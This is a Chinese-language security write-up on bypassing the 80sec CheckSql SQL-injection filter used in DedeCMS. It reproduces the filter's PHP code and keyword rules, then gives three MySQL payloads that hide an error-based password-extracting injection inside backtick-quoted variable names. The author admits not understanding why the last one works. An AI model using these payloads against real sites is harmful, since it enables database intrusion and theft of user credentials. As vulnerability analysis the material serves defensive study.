DedeCMS自带了一个函数来检查SQL语句以防止注入,该函数是由80sec提供的通用SQL过滤函数。很多其它程序也使用了该函数,最近就碰到一个。但是由于该函数的设计缺陷导致其可以被绕过。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($db_string,$querytype='select')
{
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(m_eregi($notallow1,$db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL检查
while (true)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
{
$fail = true;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = true;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}

函数中过滤了union、select、sleep、into outfile以及注释符等在SQL注入时经常使用的关键字,不得不佩服这些专业团队写的规则,的确比很多WAF都要严格。但是由于其在开始处对SQL语句进行了替换操作导致该函数还是可以被绕过。关键的地方在于while(true)循环,该循环大致做的事就是将单引号中的代码替换为: $s$
例如如下语句:

1
SELECT * FROM users WHERE username = 'Bob'

通过该while循环后将会被替换为

1
SELECT * FROM users WHERE username = $s$

因此只要我们将payload用单引号包裹起来就可以通过下面的检测规则。例如有如下注入点:

1
SELECT username FROM users WHERE id = 1

我们假设id可以注入,然后构造基于报错的payload:

1
SELECT username FROM users WHERE id = 1 and extractvalue(1, concat(0x5c,(select password from users limit 1)))

如果是平常可以很容易的注入,但是如果使用了该函数后基本是无解的,在检测规则上绕不过去,我们只有在while循环的地方想办法,像上面讲的,只要在payload的两边使用单引号包裹就可以绕过。因此我们来构造如下payload:

1
SELECT username FROM users WHERE id=1 AND id in (@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select password from users limit 1))),@`'`)

其中关键语句是:@`‘`
在MySQL中@符号是变量定义符,反引号是转义符,所以该语句的意思是定义一个名字为单引号的变量,再配合in操作符即可将payload包裹在两个单引号中从而绕过检测。除此之外还有如下两个payload可以使用:

1
SELECT username FROM users WHERE id=1 AND id in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from users limit 1))),char(@`'`))

这个payload只是在原来的基础上加上了char函数,原因是在有的情况下要求变量的值不能为空(如insert语句中),单纯的@`‘`表示定义了一个变量,但在MySQL中变量初始值为空,因此通过使用char函数来转换即可使其变为一个值。

1
SELECT username FROM users WHERE id=1 AND id in (`'`.``.id, extractvalue(1, concat_ws(0x20, 0x5c,(select password from users limit 1))),`'`.``.id)

这个payload中的关键语句是:`‘`.``.id
至于该语法的含义现在尚不清楚,日后补充。